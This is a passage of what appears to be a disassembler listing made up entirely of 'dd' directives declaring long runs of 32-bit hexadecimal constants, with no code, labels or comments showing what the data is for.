		dd 1CFD0FA8h, 69394983h, 403BF18Ch, 4DB34B52h, 0B2EC10AFh
		dd 3D9CBAD2h, 78FF5065h, 5835B681h, 0E890880Ah,	75A4C59h
		dd 0E5F729EFh, 86868784h, 3CC66171h, 0F28DB9A7h, 6C6907E9h
		dd 0CAE7BCFFh, 18779EDh, 0DC6AA77Ah, 3908841h, 9E13FC18h
		dd 0A12F187Eh, 2E1B947Bh, 0F13A13ECh, 0D21DB26Ch, 9D066C1h
		dd 0E9F2AD98h, 0E40A82F1h, 0E1CD22h, 0E9F8D056h, 0A56F5DC4h
		dd 0BE7B937h, 0ED1F0815h, 424B262h, 0F0ABF3A5h,	9927CD16h
		dd 97FDF505h, 0A8776F98h, 0A7A1E59Dh, 0A13C473Dh, 0C39039AFh
		dd 3217C917h, 0F2525496h, 268A04Dh, 120EC6B9h, 0E92737AEh
		dd 748213Bh, 0E9604680h, 77A921Fh, 0E91540EAh, 7F317B2h
		dd 0D692C198h, 88D1D4E7h, 364B23CCh, 0F9CE244Eh, 26062756h
		dd 4196180Dh, 0DDD85963h, 315B1EDAh, 0FEEFBAF6h, 9AAD726Dh
		dd 3375A662h, 7E314259h, 0D11E3009h, 77AB4792h,	0DD141034h
		dd 0BAF4464h, 7312F300h, 4692C84Ch, 35E7D314h, 7D3F5864h
		dd 592962CAh, 4B778C49h, 0F28D76F2h, 164B6F71h,	0D47795DAh
		dd 0AF77A59h, 0F1668CC0h, 1F2F846Eh, 7152728Ah,	0DC2B2E47h
		dd 7371391Ah, 0DDFC48CDh, 0B1F9768h, 11A4FBD4h,	0ECCE926Ch
		dd 2405A68h, 0ED1838E7h, 0A2BC8F14h, 0DDC1642h,	0EC97B9D7h
		dd 621E8BA2h, 46944AFFh, 90DFA98Fh, 8CF9444Ah, 3A608F56h
		dd 68D309E4h, 4FAFBFFAh, 0D8D3F8F3h, 0E0EBC778h, 95787839h
		dd 27B1A4CCh, 6EA6CEB2h, 4B543C1Dh, 0DB2E29B1h,	2321CDFCh
		dd 0C70B5BDEh, 2FE2836h, 9BD7089Eh, 246A1EA2h, 0E944DFE6h
		dd 96305164h, 0D171160h, 0EEC28537h, 7A27579h, 0D36B3306h
		dd 970CFCBh, 0F61DADD8h, 980C63CEh, 378C07C9h, 78F30909h
		dd 0D74151CDh, 31D51C00h, 7B63BE65h, 5DA4F7EBh,	553CEF47h
		dd 69BE255Bh, 0AEC3278Dh, 0BCD648C0h, 0BBB21766h, 384746CAh
		dd 7A77F0E1h, 42E94760h, 0B75D93E5h, 0BCB278C8h, 0B937736Dh
		dd 3A3A8401h, 0FB5F7353h, 13F46C86h, 0D6491AEBh, 8D873B89h
		dd 0B280ACE5h, 3EB59422h, 41F5FBCDh, 0D7856927h, 74D0D8A3h
		dd 0DCA45C3Fh, 9689D9Ah, 91BDFCBDh, 2DC010EDh, 6361144Fh
		dd 0DCDE58B1h, 0AB999EB0h, 8AF1F26h, 0EA0CBE8Ah, 0E1AD8936h
		dd 8785C94Ah, 0AF8E5186h, 82079BACh, 0BD53809Ch, 6C957E69h
		dd 5AD193D1h, 0AB44C671h, 0A9D9C6CDh, 0B12CF842h, 0B4F7E56Bh
		dd 362128A4h, 766A2DB8h, 0D6002363h, 29A7CA6Dh,	0C1295BFDh
		dd 6A0AEE6h, 1CD14F6Ah,	64D8F811h, 0C91ECF14h, 868ED97Fh
		dd 3820D598h, 0EF88EA09h, 0D70F72Bh, 0DE3AE642h, 85AAEFF8h
		dd 0BA4517F4h, 0B4FC963Bh, 4B971743h, 7C6034DBh, 0DFA4A444h
		dd 3FE60CB3h, 0F67EBC8Eh, 11437A8Eh, 794023FFh,	147E0869h
		dd 6BE9DB54h, 0D53E5DC0h, 8297106Ch, 0BA5D4B9Ah, 0B5A7FABDh
		dd 0AB75CC2Ah, 0A34256C0h, 0A05D1C41h, 0A03A86B1h, 429D9A89h
		dd 0F2B079CBh, 12D76C0Dh, 0D2EB9C8Dh, 0A23FC93h, 753BCAA1h
		dd 5FB06271h, 50C4A2A8h, 0AE59841Eh, 38C7CFBDh,	0FAD2D513h
		dd 1A4ED93Eh, 69D5DF3Eh, 20871E0Ch, 0DB3E1C51h,	0E275627Fh
		dd 0A5A8A218h, 6141211h, 0E682B217h, 6E888651h,	0C85E464Dh
		dd 80BF1EA3h, 1D03B488h, 0EA4B9F94h, 11C4F8BFh,	656D668Ah
		dd 2380D50Ah, 6C83B037h, 52CDE061h, 47F7EB47h, 3C062C30h
		dd 707E2EA2h, 0D5F321F4h, 24E7CB89h, 0C46C59B7h, 4EC2F5Bh
		dd 9AAE8ED5h, 0A4ABDEACh, 0A88F7F8Ah, 0B76A20B7h, 0B161C853h
		dd 2ACEE555h, 6C766F5Eh, 0CFD7A9A5h, 0BE898BE4h, 0B739048Ch
		dd 0B3679F26h, 46901EC6h, 73CD38C4h, 0D159A973h, 312901E6h
		dd 78D5B213h, 0DF3FF460h, 976E6DDFh, 0A66E663h,	7C15C4B4h
		dd 0C6EADA15h, 0B2ED5A53h, 3B88675Bh, 0FFA5FB4Bh, 85C6C8DEh
		dd 97A9513Ah, 16F1A67h,	9DD8A01Ch, 481FA133h, 0FDAE7065h
		dd 1D6862ACh, 0DEDD13ADh, 8606B0BAh, 38E0E767h,	744A7EE1h
		dd 2B73A14Dh, 627C846Dh, 0D9B8C9A3h, 8C505281h,	17E51E13h
		dd 6B6D39BAh, 24D32821h, 61F92260h, 0DB4B2406h,	0AEDB8661h
		dd 0CEE19A1h, 0EDFFB86Ah, 0E5C48DEAh, 3A9CD92h,	6BB2D5ACh
		dd 0E1CFD837h, 0EE0F6309h, 1849AD5Bh, 6B1A06D6h, 0A075CF55h
		dd 2711B537h, 7EC5EB2Dh, 5B92E6B5h, 49412361h, 0EED624CDh
		dd 0E4971340h, 2687F89Bh, 0C4B95A99h, 460AF85h,	1B48CE5Ah
		dd 0E4EBBEA8h, 8A3F6EA0h, 255C2A4Ch, 0EAEBCE22h, 194AE45Ah
		dd 6F43E3DDh, 0CA7C6764h, 0B16AA76Dh, 0BF817F2Eh, 0B88D8DD7h
		dd 439D177Eh, 76403B4Fh, 0D48EADC2h, 375E04C1h,	0FEDFBBB3h
		dd 9960720Eh, 0B15EABA8h, 3DD8C1A9h, 0FD027302h, 0FB831B35h
		dd 0B9907F67h, 0B35160EFh, 35A50B8Ah, 0EB6ADD55h, 828E5C3Fh
		dd 901A1E58h, 0A8D29900h, 454C985Bh, 0F0CC787Ch, 13066C09h
		dd 0D3069D09h, 0B9B7D28h, 0F3ED0B9Fh, 9EDF4556h, 3171930Eh
		dd 82047DAFh, 0FD5EEF33h, 0FB3DEA86h, 138657BFh, 67E81277h
		dd 2C3A33D8h, 8BFE27FBh, 0E1051A4Fh, 0A45FBE10h, 62D1C0Bh
		dd 36F7B306h, 5F89B6B6h, 4CED76F0h, 44529DEDh, 0F98BF077h
		dd 9ED97B1Ah, 1CEDADEAh, 648A0BD0h, 28CCC4F7h, 0EEF2BF6Ah
		dd 1428E212h, 6098EC52h, 4AE429B0h, 7E5E2F23h, 0D64B27CCh
		dd 211BCC23h, 0C2D45E04h, 3062867h, 9BB109F2h, 24B59E64h
		dd 68D21F59h, 0D74530D7h, 0E156C016h, 130DE164h, 63C26CB1h
		dd 0CBF32971h, 0BFCB4E49h, 0B43F66B7h, 0B0FC8D8Eh, 4B161BD8h
		dd 7EED3193h, 0DC29A21Ah, 3C1D0DFAh, 75EAB0B0h,	52AEF90Fh
		dd 0DAEEE03Eh, 27F5ABFCh, 40726921h, 0C2BF265Fh, 0BA214E1Ah
		dd 3598675Ch, 71D80D59h, 0CA23D8B9h, 0FE125119h, 94A7129Bh
		dd 0A0FC9510h, 4B1B9477h, 0FE3377E4h, 1CC063A1h, 0DD8C13D5h
		dd 85FA33D9h, 0BA1725D7h, 0B7815C92h, 96D937Ch,	7FC271A5h
		dd 0CF47D8CFh, 0FF695382h, 16A1905Ah, 63E07642h, 28ABC73Ch
		dd 6DB63C4Dh, 0D735207Bh, 0A27F8E20h, 611B31h, 0E0B9B5D1h
		dd 0E8B8813Bh, 8E85C0C4h, 28E65F2Dh, 0C4D31D2Bh, 9BA5466Eh
		dd 15819888h, 6B167AB5h, 0A660D753h, 0A2CEB3CEh, 3944EF36h
		dd 7D24E136h, 5FF824B4h, 4FAA22D7h, 0D65B2A20h,	2D85C1CBh
		dd 0CFC753AEh, 0EFBA5C2h, 167D4456h, 6CE07618h,	408E0715h
		dd 0CF05308Bh, 9114CC5Ah, 16C8EB58h, 0A0CADEB5h, 0FF83DDFDh
		dd 0BA975B1Dh, 0B1935343h, 0B57C700Ah, 4F6603A0h, 7AB53BF7h
		dd 0D80DA764h, 38C309ABh, 0F11BB4A0h, 165E7C1Fh, 0FE6924DEh
		dd 53758F74h, 4CF21DADh, 0C23F3ADDh, 0BF894541h, 0B65866FBh
		dd 0BC680140h, 26DBD54Dh, 0E2F25225h, 80B71EFBh, 0D0049900h
		dd 91F987Fh, 0D55D7A68h, 3A896FB3h, 0D19CA61Eh,	3C03C60Ch
		dd 49C7700Bh, 0E3609976h, 2C11BE90h, 72784851h,	0F5A4EB33h
		dd 0CF7EE486h, 23C9E6D6h, 547C6196h, 1E55E140h,	5BBF0279h
		dd 0E175925Fh, 944E7A08h, 363D0E0Bh, 0D6F37414h, 5EEFAF37h
		dd 0F8DC7AB0h, 301A2FF1h, 0EDD70553h, 0BAA96FE2h, 1095A85Ah
		dd 5C0A47CEh, 1E44EC64h, 5B6285EFh, 0E030D79Ah,	3478D84Ch
		dd 6EAC1DDBh, 0F2FE1C6Eh, 2D0B1368h, 73DFF897h,	0E5226ACCh
		dd 4E571CD5h, 0E329BD27h, 0B6746AB8h, 0F2A0BBDh, 0FA3EF43Bh
		dd 0A96AECE2h, 282FD998h, 503D5FB5h, 0FC6B9D7Dh, 8BAF3BDDh
		dd 817D726Bh, 840B48CAh, 7E3FB6E4h, 4BE148AFh, 0E96FB53Ah
		dd 95837BCh, 40A40D43h
		dd 0E7F6099Ah, 2F897742h, 729DA968h, 650225C5h,	8FC70F6Fh
		dd 83A17544h, 61057A7h,	0C7483E4Ch, 3E3BEDE9h, 0EB726B67h
		dd 0B12F2768h, 6DBCA0D5h, 0F2ABA1CFh, 8D8F43A2h, 0A0A5666h
		dd 59C3261Eh, 7863860Ch, 6BD7500Bh, 0D0788976h,	2595B690h
		dd 76BE4C51h, 0F785E933h, 0CE0E6786h, 23412156h, 0BF281D6h
		dd 38F8CC05h, 2994E214h, 94CBA7DBh, 0DFE51A56h,	2B10F883h
		dd 0B6BAF239h, 2FCA679Bh, 0D5D27991h, 5266821Fh, 23668A11h
		dd 0AFE3D3B1h, 0BC243E52h, 65C73DA7h, 5DAC768Ah, 0A1DCF765h
		dd 8F166A03h, 3525A70Fh, 0C6985049h, 0E5123180h, 0C1F6F346h
		dd 0BA7ED174h, 5AD596DAh, 0B07EFC7Eh, 2D234468h, 0BF8D46AAh
		dd 0BD4D1F67h, 0D4DEC14h, 6DCC11B0h, 311B8D0h, 6291BAF3h
		dd 176DEAFEh, 73223332h, 0E9403E01h, 0A290A39Eh, 634EC78Bh
		dd 40DF4F22h, 68457F6Eh, 10BB411Dh, 32A9F255h, 3D90A93Fh
		dd 0CC8D1D5Fh, 4C07CE38h, 0B5FE86A4h, 9FABCEEFh, 0FBCC8AFEh
		dd 30591454h, 0BBBED57Ch, 4A436D77h, 2407A7B6h,	0ED76F5B9h
		dd 0C7E58964h, 510E6BB1h, 1E79EEBh, 922C2A47h, 3DDD48EBh
		dd 0B9E68CE8h, 831E9242h, 78CF02C4h, 0C6F200CBh, 0F1A017A9h
		dd 0CA87BDE1h, 0AE87EDFCh, 0D50864DAh, 4A484F11h, 0EAB888D7h
		dd 86041648h, 0C953411Fh, 110F3FB3h, 2361ED41h,	41B864A5h
		dd 4CE4691Dh, 0F829C78Ah, 8BA9AEC6h, 3000AD25h,	8D364BD4h
		dd 3148A218h, 0C07E7829h, 0BEEB058Bh, 85A74BBEh, 10092CA5h
		dd 359AEB6h, 5C582E6Fh,	0BA3E35CEh, 8D471380h, 0A38AAB85h
		dd 8D164596h, 981C5931h, 0B32274C2h, 0C7A75C6Fh, 0DDF16D24h
		dd 8D88A89Dh, 800A165Ah, 6222FEF2h, 0A04996h, 0DA22B7FCh
		dd 43C88D64h, 309D998Ah, 0DA9D28CDh, 5E62EE87h,	50506CFh
		dd 8FE70B53h, 94243DE7h, 635172BAh, 0B9EED3ADh,	0B305AD60h
		dd 63B7A263h, 26A29E76h, 286754D3h, 0CA8F9F35h,	203C9673h
		dd 7A8AB82h, 0B2532E4Bh, 82104F14h, 0ECA8D7F8h,	406703ECh
		dd 0B60469C3h, 4B8AB7EAh, 88BA50E6h, 0A16703F8h, 0AEE680E9h
		dd 6BE4015Fh, 43F650A6h, 1D660999h, 7F221B51h, 7CF6FAA7h
		dd 6CD4AD49h, 0FA53F517h, 9A249123h, 991BB560h,	4307A475h
		dd 0B2E1EFEAh, 159A0A16h, 0B33B98E0h, 296E79E9h, 0E53BFB1Dh
		dd 7F785864h, 0F27D47E4h, 0B0E3C690h, 0BAF8CAAh, 0A6B0A669h
		dd 0AC7AD09Ch, 5CE8D392h, 2D20EDD1h, 8E635ED1h,	354BD02Dh
		dd 0CB4BBE36h, 0A823E0h, 737A5D28h, 0E12A656h, 5F9C9D07h
		dd 0AEB86666h, 816A92D9h, 9C2D611Ch, 0B0B97CF6h, 6562444Ch
		dd 7E78551h, 1D30F48Ah,	0BDA4FCE3h, 0F5E4C117h,	0EFA03593h
		dd 6ABCB8B1h, 1BF8BF6Bh, 348F605Eh, 0BF207D50h,	0B8EA1EF2h
		dd 0DF95C173h, 7D6324A3h, 0DEE95F4Dh, 54495CBDh, 0F4D25355h
		dd 0DB15699Ah, 0BF4CA6D7h, 3C22647Eh, 0C644289Bh, 0D8C3F7EDh
		dd 3743B695h, 18EF6696h, 2520293Ch, 0D4E9597Ah,	69C42145h
		dd 53151C26h, 5DB32F56h, 0C4B3F983h, 9242FD85h,	0C93FE0C8h
		dd 17DCA538h, 8033C827h, 36BD5E93h, 0A6636E8Dh,	9067960Ch
		dd 9064D1FAh, 498986EAh, 0D869C412h, 0BDC40D35h, 0D6D44256h
		dd 0AC99FAC1h, 0EB3507DEh, 499B435Ah, 6C5A01F8h, 0A299334Ah
		dd 38215A56h, 0AF53524h, 9B302581h, 7CD35037h, 6633B305h
		dd 7DBD702Bh, 57249D4h,	0F437500Dh, 747EA74Ah, 0C99CBCB6h
		dd 28FC9839h, 0D6595F40h, 521C2588h, 0A48BF77Dh, 0C93B6D10h
		dd 2E91BBB0h, 0CB6148DBh, 771FFA95h, 12D9C4D6h,	0D3928BCFh
		dd 0CF41EC0Eh, 0FB61CCE0h, 0B64D0A41h, 0E6FCEAD7h, 6EE512D5h
		dd 415FFDD1h, 1035DF9h,	4DB5ED15h, 95E86220h, 97E3B782h
		dd 4630277h, 0BD5AD575h, 0EB152F86h, 5297F98Eh,	49BE5210h
		dd 6ADAD4F4h, 2EE027B0h, 886F36E6h, 0E3B76E21h,	6FC3ED65h
		dd 0FC2166BFh, 8A95B7C2h, 43883FF2h, 0FA2843EAh, 8B4CF37Eh
		dd 92D3E58Bh, 599EC717h, 9E94CBF3h, 2489785h, 7180532Eh
		dd 7E654ADFh, 942ABDBFh, 978C4884h, 5BC2DF04h, 4811784Eh
		dd 8C24FE66h, 0E7B98E66h, 0F75C84A9h, 0D1FFCA0Bh, 7C1EC28Fh
		dd 0EE7A5ABCh, 2E9C261Ah, 938CA81h, 5F309A19h, 35E13E43h
		dd 3B13FFDFh, 0B201427Fh, 6756E046h, 9C4FFBFCh,	0AAD7DF47h
		dd 46F5687h, 0D1254510h, 3A20CFBAh, 0F0BA16E9h,	0AAB0510Ah
		dd 0E82ADF8Ah, 6D032F64h, 0D9A33C1Dh, 3E4B392Dh, 9327D28Ch
		dd 9DDD6938h, 6AE6D3F7h, 0E3DE2C8Eh, 16793CBFh,	6C028177h
		dd 0E8E7DD71h, 0F3FC3D6Ah, 297EF025h, 6C643A59h, 0DA70142Bh
		dd 46F42EA0h, 0B9BDBC87h, 828D5055h, 62C597EFh,	1EAD03DDh
		dd 0A72113E3h, 8389FCF4h, 855613A8h, 0A72FB6A4h, 73D2DAFEh
		dd 9A2C23A5h, 0D6986B9Bh, 0D5423626h, 79DA78BDh, 65B54624h
		dd 20B58ED4h, 3927F4C2h, 18F0CB8Ch, 0FC4E3CF3h,	1FE1F7CBh
		dd 948A86D2h, 97F9D31Dh, 6CA40F83h, 0AFBFA36Dh,	4E9EDC6Ah
		dd 8C7822AFh, 62EF594Bh, 79141C03h, 780E7770h, 0B5D990B6h
		dd 0AA71A9A5h, 0CCCF2EC4h, 0C668FBFBh, 73AFA07Dh, 32F92236h
		dd 0CB42AE06h, 15A21071h, 0FFBF5619h, 6767A6B2h, 0DE2291A7h
		dd 0C2FC342h, 0C2BFB56Dh, 7B64C30Bh, 37A87502h,	9F3A0521h
		dd 230BA8Ch, 0E5AB099Ah, 63FF38CCh, 2A5140Fh, 8F8C3D6Ch
		dd 21D980C8h, 1BD707D8h, 567FD433h, 21C9A70Bh, 794CDAEEh
		dd 0D74DA4A0h, 34AB00B9h, 9317C27Ch, 2898FEBAh,	23434587h
		dd 5FD257FAh, 0EF2309A8h, 337A734Eh, 2B1B4D16h,	7401646Bh
		dd 0BFBAE4C7h, 5FDDF1E7h, 8F256664h, 0A38587DBh, 8EDE961Eh
		dd 0F002E4E0h, 50D38C6Fh, 0E68A669Eh, 0C37CE2A4h, 4EB23624h
		dd 0F2731353h, 0F4C60A84h, 0B0F9BB05h, 0F6314D7h, 9F90A639h
		dd 28DBE11Bh, 62C7CA38h, 2B73EB19h, 0B4089949h,	0E1007AEh
		dd 34875459h, 4BF9AF34h, 0AB8A6C7Ah, 18DF7DACh,	920D5DB6h
		dd 0C58C524Eh, 9C450BDDh, 0CFF6B88h, 444788CAh,	0E671728Eh
		dd 76D52823h, 0E4671CE4h, 63E9BCB9h, 143BE175h,	4E305449h
		dd 20D0DE1h, 0E2A9C123h, 0A821E941h, 45548DD0h,	89876C40h
		dd 0F6C1FDF8h, 62850F4Eh, 78EA5BBh, 0BC57032Ch,	0BC3A7AFEh
		dd 9B4DE213h, 14A0DA1Fh, 3D69ED54h, 0F309DC27h,	0FB2B4D29h
		dd 0AFFBDF8Ah, 0FD6143E7h, 29302C17h, 5D12EACEh, 79D51E36h
		dd 31178EBEh, 7E53B71Ch, 0E9A32565h, 8270B4B4h,	978F9A0Fh
		dd 0CC71C8E7h, 30BB3F0Eh, 0FF92B415h, 28452337h, 0F3B31CA8h
		dd 0A22BA8B4h, 2930282Bh, 3946A69Dh, 394CFEBBh,	0ECA13403h
		dd 4D88D00Eh, 1B8C7228h, 0EE938E08h, 6D7BF51h, 0C5C73786h
		dd 1BC30CB3h, 4C30F1BBh, 86811C42h, 0C358E254h,	0ED38C6ACh
		dd 0AFEDD17Ch, 8B8A4CFDh, 35AAEE35h, 5FCDB2C0h,	0E12FED64h
		dd 0EFC8BFD8h, 1BEB8D03h, 209E8523h, 998349AAh,	5C716959h
		dd 0CE9274C9h, 66765480h, 991BBFA3h, 2F1F7625h,	9C68512Dh
		dd 0F0A9108Bh, 0C22472A1h, 0B4AB321Fh, 27A95DBCh, 51496FBh
		dd 0C035CFCDh, 0D00A408Fh, 0ED6436F9h, 0BB56B8BCh, 0C32A1DA9h
		dd 0B5330AE6h, 500C6802h, 0EBC69D2Eh, 0F44A2102h, 0BDD21B56h
		dd 1D69ED91h, 4D108494h, 55A61FAh, 6EE2B41Dh, 22A85C60h
		dd 104CE18h, 2954291Dh,	23F65002h, 0E9BB811h, 0C0D9524Ah
		dd 58CD5EB9h, 0C5C3CC04h, 477DF3F6h, 288EA2E9h,	0E89316F6h
		dd 1CF492B5h, 89B8E73Ch, 435069F2h, 41099327h, 443C28D0h
		dd 0D9C864D7h, 0C22FFE28h
		dd 2F34AF9Fh, 284136DCh, 0C1752DA8h, 0BF724EE7h, 4E97FEEEh
		dd 7FBBD1F3h, 7D8982CFh, 0C9EC55D3h, 0ED84B114h, 83C297C4h
		dd 44CF9E02h, 0FD88D5D0h, 0E2D1C3D5h, 211FB666h, 4737E419h
		dd 73D0BD7h, 7AF03DF5h,	47523C1Ah, 3D68D723h, 6817CE98h
		dd 0AC1BC9D5h, 0D4572A74h, 0FFF4ABF1h, 27879506h, 7A29E431h
		dd 0ABD02767h, 8E2276CCh, 0ED1242C4h, 0C33CC268h, 10B80F31h
		dd 0D4D68758h, 5C484FB1h, 2FACC29Bh, 84E85944h,	0FCB4CFC6h
		dd 0D1F1BEE4h, 4C709817h, 8C433033h, 0EF0B9626h, 0C5731543h
		dd 8FCC34E1h, 0ADCE56Dh, 12F08ECh, 57F66054h, 0E0D0221Bh
		dd 0A3B0F328h, 790E9059h, 0CB84399Ch, 9B515820h, 7D9A44B2h
		dd 0B6C7B296h, 59C1399Ch, 71161633h, 1A1236A1h,	0E27A9A18h
		dd 0B0AB1193h, 2571E07h, 0FB6F966Fh, 2F282Dh, 0A0D4CD0Eh
		dd 0AF8A4412h, 0B2FD122Dh, 4EA7D16Fh, 306762B6h, 2DC6F364h
		dd 2A2937DFh, 6312AF3Ch, 291434F2h, 0D161E1BBh,	0D3B19C9Ah
		dd 785C5FCDh, 4AE59A3Bh, 50B77221h, 0F25DE64Fh,	39D0CAA0h
		dd 0F4770714h, 9F7B6B2Ah, 0E1E37953h, 67AFE16Bh, 7F111D22h
		dd 4F9A6A51h, 0B5D5F29Eh, 0DBD57951h, 1DA14CC2h, 0AA8B7ABh
		dd 0A7BF76F5h, 0BB98BB82h, 3AFADFF1h, 0D9756999h, 0D3C33A51h
		dd 0FE5170AAh, 0BB9062C4h, 5B8E8AE2h, 0D0E10B4Ah, 8FDFAB84h
		dd 94CCE3E8h, 2E3CB1C4h, 791DCBEFh, 47E9FEDAh, 4B12E219h
		dd 25B7C6F7h, 487A259Fh, 0DF4EA975h, 8D938ED6h,	0B6FAF2E0h
		dd 0A5C63BE8h, 0B73F4DB9h, 0C4336BD2h, 14ABA0C7h, 4AA271BEh
		dd 6FB036DCh, 6BA3CEECh, 0D9766ADh, 0A5C3555Dh,	26B7A815h
		dd 0E69CE4CBh, 40A0E1E3h, 0EBCB0595h, 703D9CA4h, 834A53CBh
		dd 0A4D1F3B9h, 77C8CEF8h, 17784D60h, 0DD553D17h, 0C02F4F2Eh
		dd 0A260BA5Eh, 0AAED0C8Dh, 993ECF30h, 9EED19D1h, 0A4E8C83Eh
		dd 0DE666306h, 0E64A91B4h, 0C8E51F44h, 0A5238076h, 6202F390h
		dd 0F055ADE7h, 2293C5CCh, 98FFDF6h, 7C3D089h, 0DF2A3594h
		dd 88FE6036h, 231603A0h, 0DCE9F247h, 93783221h,	0D2E8E25Dh
		dd 0C1A11F5Fh, 858ABCDAh, 0E3CF389Ch, 11EB3463h, 591A7D10h
		dd 0CC10DC86h, 0BCE5AD83h, 8305D4B7h, 5C21A267h, 659ED71Ch
		dd 0EC58F081h, 9FE89EA9h, 0A4DF7BCCh, 74E2F20h,	5A83731Eh
		dd 50C1C8ACh, 3E8D475Ah, 0EFEF1568h, 0B0BD8D64h, 0A0C0F9B7h
		dd 0C0EBDDCBh, 7500DE58h, 0BBF2C48Dh, 0A927B86Ah, 0CE7D2657h
		dd 0EF1A5A0Ah, 0AF508DF2h, 0BFC51151h, 0D3BE5952h, 0E59680D7h
		dd 0A997E408h, 0FDE15528h, 73875EB3h, 89A25859h, 33CDF3C0h
		dd 0BF273529h, 0DF6B6B1Dh, 1A5BF408h, 1934E85h,	0F1AF0BFCh
		dd 1FCD13CCh, 0C4209A68h, 99959397h, 4930B636h,	9E028602h
		dd 64FA4630h, 7E2C7866h, 169FBED6h, 4B188842h, 826478ADh
		dd 0DEE6F593h, 41DDA25Dh, 15E42B85h, 0C91A12E5h, 5FC4344Ah
		dd 0D55AFA18h, 0D4A8CFE2h, 0D910833h, 2DA7639Eh, 727BD1CFh
		dd 0C6419406h, 0A63E1957h, 0EBA6841Fh, 6BAD07Dh, 3BDD150Ch
		dd 0F5274D9h, 0CF3FE254h, 0F5453682h, 4712EE95h, 5A9D0179h
		dd 1C379516h, 0C642D7FBh, 0EBBE7456h, 0B0A8BABDh, 9E1B4D57h
		dd 45190198h, 0AC79ECC5h, 2F41C3D7h, 0E42EDB16h, 0B8F63184h
		dd 0CBC935CDh, 39BBFCA4h, 0A5DC9303h, 5B01048Dh, 0AEBFF43Fh
		dd 47A308EAh, 0FE923D63h, 0B0DE1CFh, 1FC0B3B3h,	8EDDB62Ch
		dd 39FE479Bh, 0A93AD0C2h, 0DA067B0Fh, 3041C164h, 47B46B1Dh
		dd 0D03BD929h, 204B66Eh, 9C476C62h, 0F0C98FBCh,	2CD7B918h
		dd 6A42211Ch, 1A7A4023h, 0DDD01F5Bh, 340470EFh,	0D6869E8Ah
		dd 869406A5h, 7D235F72h, 74D22E48h, 82E76C5Eh, 0E317A693h
		dd 0A46CB75Fh, 6E6FB704h, 792F13C5h, 99A824Eh, 5C2FC535h
		dd 259BE7h, 0C98F3E6Ah,	0EB4A0EDCh, 9E2DB2BFh, 0EC21AC1h
		dd 3AE847Fh, 1B400E58h,	0E579FFF6h, 13AA28BEh, 435A3857h
		dd 1752470Bh, 0FAE8BDF2h, 6799DFBDh, 0ACC18D67h, 0A518835h
		dd 7941E9B3h, 8CBC92F3h, 0F0B9E69h, 97A328CCh, 0A50FC7F5h
		dd 5FA770AEh, 8BF1ED9Dh, 3B0111A2h, 8CCFBBAFh, 799CBAC0h
		dd 98B40173h, 0F712A18Ah, 8AAC412Eh, 3BF799EBh,	0E72F561Bh
		dd 0DDA8E348h, 43D5312Ch, 94B7B804h, 0EFC0CA7Dh, 0C311AE2Eh
		dd 0A72D5FE9h, 0F6A0F3F0h, 2AF25C28h, 70604436h, 60C104E4h
		dd 0A9922936h, 9853C7A9h, 843A7D9Fh, 29C020A6h,	345FB751h
		dd 0EDD2C3C3h, 0FACEDA49h, 0F2BDB111h, 5ED987FBh, 7AF81AF2h
		dd 17C4F0CFh, 6624098Dh, 0C50AECCDh, 1EEC8E81h,	0DA023E32h
		dd 7CBCE14Ah, 52967F3Eh, 6956B346h, 0C402C1B6h,	6A8E16D5h
		dd 0E4BD3B22h, 55B44EBAh, 0F30AFAC7h, 97058BCh,	0A60E7FFDh
		dd 79B1D082h, 802FF7E3h, 0F5EC0CC2h, 57EA7061h,	2A74FE92h
		dd 0A2DE427h, 0F532B9F3h, 1F34E412h, 3D1E7AD2h,	0D48A7E45h
		dd 58232681h, 0DE6D0FAEh, 0B8C11349h, 6FEF3820h, 0E8DC184h
		dd 12C8B33Fh, 0E5C1CEh,	5F7CBE73h, 67D47964h, 0B6354406h
		dd 0C02B6607h, 13F27715h, 0A2D81FF7h, 9BEBCA9Fh, 23A98592h
		dd 0AF6DE3B8h, 0A55E7191h, 0F72E8128h, 289797C9h, 0B7D88785h
		dd 0D8F6C03Ah, 8D3A3FD6h, 5BBB0F1Fh, 4350EC0h, 99D5297h
		dd 765BDCC6h, 40A0D367h, 39458005h, 7AE5254Bh, 5BCB6AEBh
		dd 712A256h, 7E05C071h,	29E27D5Eh, 4C893988h, 4E52AEFCh
		dd 5E052CEBh, 0F0419C34h, 9828A784h, 534C4528h,	92C5CF95h
		dd 0E218050Eh, 8B13E094h, 0D52D37B9h, 6A0FFD7h,	5BF12363h
		dd 5397C84Ah, 3385CA2h,	93105F1Dh, 18D9492Dh, 0B46D88BFh
		dd 0D468052Ah, 0F4B1DCD0h, 55C63381h, 0BABB752h, 494D86CAh
		dd 0A7D9D7F0h, 2C7BC20h, 6BC3A67Bh, 0FC2CAC66h,	0AAB9ADCBh
		dd 983129B9h, 1CEEFD8Ch, 89E3BC8Bh, 81259796h, 64FD28C5h
		dd 60734682h, 711A8EB7h, 0FE681575h, 0AAECDC75h, 3DE00C06h
		dd 4371015Dh, 0DD88EBEEh, 0C71BC2Fh, 0AF63B16Bh, 0F3ABFB8h
		dd 0F102550Dh, 0AFE0B651h, 3B86FB42h, 0C084470h, 48136688h
		dd 0A4EFE709h, 608C45E9h, 0AD03EC55h, 73A917F2h, 0CBDD52B0h
		dd 7697B69h, 0A1825238h, 0BBEAC620h, 0AE235C2Fh, 4E2BAD09h
		dd 0C4CF9470h, 0A9B821DBh, 0EBD04F36h, 0D816457h, 5E8FE3Ah
		dd 0FBB90923h, 5C907554h, 95FA0C88h, 3EA3D62Ch,	0B86D2184h
		dd 0A0BA2469h, 0CF721A4Eh, 0B7C5D874h, 276982C5h, 0D26F0E4Eh
		dd 4C45641Dh, 0D5F94406h, 0F08E556Fh, 0CEFC504Dh, 8CCD58FDh
		dd 0DAD6BD77h, 20A3772Fh, 444BBEA9h, 5EDD82AFh,	0D7987A66h
		dd 523820Eh, 593718EFh,	0CA1A5126h, 2DD2784Eh, 820F79E2h
		dd 5CD41B9h, 26AD86C5h,	7AB66FA9h, 0C60A7B8Ah, 8A2FB28Fh
		dd 571FBC3Fh, 1C0E3592h, 8D31FC56h, 42D59B76h, 198847BFh
		dd 73E31540h, 533E541Dh, 5C3CC95Ch, 0BE9D0DBCh,	8B478D75h
		dd 45E6ED95h, 44E20BE3h, 22FDBFB0h, 5FF619A8h, 0E531D3D2h
		dd 0C5612280h, 495A4460h, 0D7D5835Ah, 0E6DA8329h, 0BDF5CB8Ah
		dd 0E45B653Fh, 2C2B7143h, 16ED6EC7h, 42410C6Dh,	341A3C81h
		dd 35F647D8h, 86186FFh,	7AF2E14Eh, 6D13ACB9h, 0C76A7D42h
